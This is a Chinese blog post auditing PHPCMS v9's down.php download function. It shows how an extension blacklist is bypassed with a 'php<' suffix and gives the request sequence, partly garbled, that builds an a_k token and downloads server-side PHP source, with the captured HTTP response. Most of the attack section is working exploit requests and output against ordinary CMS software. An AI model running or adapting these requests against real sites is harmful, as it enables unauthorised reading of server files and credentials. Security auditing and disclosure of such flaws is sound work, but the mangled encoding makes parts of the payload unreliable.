代码审计-phpcms9任意文件读取

漏洞文件:

/phpcms/modules/content/down.php download函数

这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。

和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);

过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:

if($m) $fileurl = trim($s).trim($fileurl);

再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:

$fileurl = str_replace(array('<','>'), '',$fileurl);

file_down($fileurl, $filename);

file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。

a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:

 

 

 

ayload 如下:
登录普通用户,访问链接:

http://192.168.5.161/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

获取分配的att_json

再访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70CPost
userid_flash=2c329hVguOLq0D2bnikDfuZXHNPFzbEB9pxi0Mm6

根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload

GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1Host: victim-serverAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Content-Length: 0

 

HTTP/1.1 200 OKDate: Wed, 03 May 2017 07:50:12 GMTServer: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-Powered-By: PHP/5.3.6Vary: Accept-EncodingPragma: publicLast-Modified: Wed, 03 May 2017 07:50:12 GMTCache-Control: pre-check=0, post-check=0, max-age=0Content-Transfer-Encoding: binaryContent-Encoding: noneContent-type: ph>pContent-Disposition: attachment; filename="20170503_035012279.ph>p"Content-length: 313

<?php/**

 *  index.php PHPCMS 入口

 *

 * @copyright                   (C) 2005-2010 PHPCMS

 * @license                                 http://www.phpcms.cn/license/

 * @lastmodify                           2010-6-1

 */

 //PHPCMS根目录

 

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

 

include PHPCMS_PATH.'/phpcms/base.php';

 

pc_base::creat_app();

?>

 

posted @ 2019-05-12 22:07  卿先生  阅读(1024)  评论(1编辑  收藏  举报